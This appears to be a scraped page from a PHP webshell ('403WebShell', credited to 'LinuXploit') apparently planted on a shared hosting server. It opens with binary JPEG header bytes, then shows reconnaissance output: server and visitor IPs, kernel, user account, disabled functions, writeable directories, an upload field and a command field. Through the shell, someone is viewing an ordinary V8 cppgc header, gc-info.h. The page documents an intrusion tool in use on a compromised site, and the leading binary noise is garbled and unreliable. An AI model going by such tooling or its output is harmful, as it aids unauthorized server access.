JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 84.32.84.244  /  Your IP : 216.73.217.6
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/alt/alt-nodejs24/root/usr/include/node/cppgc/internal/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/alt/alt-nodejs24/root/usr/include/node/cppgc/internal/gc-info.h
// Copyright 2020 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

#ifndef INCLUDE_CPPGC_INTERNAL_GC_INFO_H_
#define INCLUDE_CPPGC_INTERNAL_GC_INFO_H_

#include <atomic>
#include <cstdint>
#include <type_traits>

#include "cppgc/internal/finalizer-trait.h"
#include "cppgc/internal/logging.h"
#include "cppgc/internal/name-trait.h"
#include "cppgc/trace-trait.h"
#include "v8config.h"  // NOLINT(build/include_directory)

namespace cppgc {
namespace internal {

using GCInfoIndex = uint16_t;

struct V8_EXPORT EnsureGCInfoIndexTrait final {
  // Acquires a new GC info object and updates `registered_index` with the index
  // that identifies that new info accordingly.
  template <typename T>
  V8_INLINE static GCInfoIndex EnsureIndex(
      std::atomic<GCInfoIndex>& registered_index) {
    return EnsureGCInfoIndexTraitDispatch<T>{}(registered_index);
  }

 private:
  template <typename T, bool = FinalizerTrait<T>::HasFinalizer(),
            bool = NameTrait<T>::HasNonHiddenName()>
  struct EnsureGCInfoIndexTraitDispatch;

  static GCInfoIndex V8_PRESERVE_MOST
  EnsureGCInfoIndex(std::atomic<GCInfoIndex>&, TraceCallback,
                    FinalizationCallback, NameCallback);
  static GCInfoIndex V8_PRESERVE_MOST EnsureGCInfoIndex(
      std::atomic<GCInfoIndex>&, TraceCallback, FinalizationCallback);
  static GCInfoIndex V8_PRESERVE_MOST
  EnsureGCInfoIndex(std::atomic<GCInfoIndex>&, TraceCallback, NameCallback);
  static GCInfoIndex V8_PRESERVE_MOST
  EnsureGCInfoIndex(std::atomic<GCInfoIndex>&, TraceCallback);
};

#define DISPATCH(has_finalizer, has_non_hidden_name, function)   \
  template <typename T>                                          \
  struct EnsureGCInfoIndexTrait::EnsureGCInfoIndexTraitDispatch< \
      T, has_finalizer, has_non_hidden_name> {                   \
    V8_INLINE GCInfoIndex                                        \
    operator()(std::atomic<GCInfoIndex>& registered_index) {     \
      return function;                                           \
    }                                                            \
  };

// ------------------------------------------------------- //
// DISPATCH(has_finalizer, has_non_hidden_name, function)  //
// ------------------------------------------------------- //
DISPATCH(true, true,                                       //
         EnsureGCInfoIndex(registered_index,               //
                           TraceTrait<T>::Trace,           //
                           FinalizerTrait<T>::kCallback,   //
                           NameTrait<T>::GetName))         //
DISPATCH(true, false,                                      //
         EnsureGCInfoIndex(registered_index,               //
                           TraceTrait<T>::Trace,           //
                           FinalizerTrait<T>::kCallback))  //
DISPATCH(false, true,                                      //
         EnsureGCInfoIndex(registered_index,               //
                           TraceTrait<T>::Trace,           //
                           NameTrait<T>::GetName))         //
DISPATCH(false, false,                                     //
         EnsureGCInfoIndex(registered_index,               //
                           TraceTrait<T>::Trace))          //

#undef DISPATCH

// Trait determines how the garbage collector treats objects wrt. to traversing,
// finalization, and naming.
template <typename T>
struct GCInfoTrait final {
  V8_INLINE static GCInfoIndex Index() {
    static_assert(sizeof(T), "T must be fully defined");
    static std::atomic<GCInfoIndex>
        registered_index;  // Uses zero initialization.
    GCInfoIndex index = registered_index.load(std::memory_order_acquire);
    if (V8_UNLIKELY(!index)) {
      index = EnsureGCInfoIndexTrait::EnsureIndex<T>(registered_index);
      CPPGC_DCHECK(index != 0);
      CPPGC_DCHECK(index == registered_index.load(std::memory_order_acquire));
    }
    return index;
  }

  static constexpr void CheckCallbacksAreDefined() {
    // No USE() macro available.
    (void)static_cast<TraceCallback>(TraceTrait<T>::Trace);
    (void)static_cast<FinalizationCallback>(FinalizerTrait<T>::kCallback);
    (void)static_cast<NameCallback>(NameTrait<T>::GetName);
  }
};

// Fold types based on finalizer behavior. Note that finalizer characteristics
// align with trace behavior, i.e., destructors are virtual when trace methods
// are and vice versa.
template <typename T, typename ParentMostGarbageCollectedType>
struct GCInfoFolding final {
  static constexpr bool kHasVirtualDestructorAtBase =
      std::has_virtual_destructor<ParentMostGarbageCollectedType>::value;
  static constexpr bool kBothTypesAreTriviallyDestructible =
      std::is_trivially_destructible<ParentMostGarbageCollectedType>::value &&
      std::is_trivially_destructible<T>::value;
  static constexpr bool kHasCustomFinalizerDispatchAtBase =
      internal::HasFinalizeGarbageCollectedObject<
          ParentMostGarbageCollectedType>::value;
#ifdef CPPGC_SUPPORTS_OBJECT_NAMES
  static constexpr bool kWantsDetailedObjectNames = true;
#else   // !CPPGC_SUPPORTS_OBJECT_NAMES
  static constexpr bool kWantsDetailedObjectNames = false;
#endif  // !CPPGC_SUPPORTS_OBJECT_NAMES

  // Always true. Forces the compiler to resolve callbacks which ensures that
  // both modes don't break without requiring compiling a separate
  // configuration. Only a single GCInfo (for `ResultType` below) will actually
  // be instantiated but existence (and well-formedness) of all callbacks is
  // checked.
  static constexpr bool WantToFold() {
    if constexpr ((kHasVirtualDestructorAtBase ||
                   kBothTypesAreTriviallyDestructible ||
                   kHasCustomFinalizerDispatchAtBase) &&
                  !kWantsDetailedObjectNames) {
      GCInfoTrait<T>::CheckCallbacksAreDefined();
      GCInfoTrait<ParentMostGarbageCollectedType>::CheckCallbacksAreDefined();
      return true;
    }
    return false;
  }

  // Folding would regress name resolution when deriving names from C++
  // class names as it would just folds a name to the base class name.
  using ResultType =
      std::conditional_t<WantToFold(), ParentMostGarbageCollectedType, T>;
};

}  // namespace internal
}  // namespace cppgc

#endif  // INCLUDE_CPPGC_INTERNAL_GC_INFO_H_

Youez - 2016 - github.com/yon3zu
LinuXploit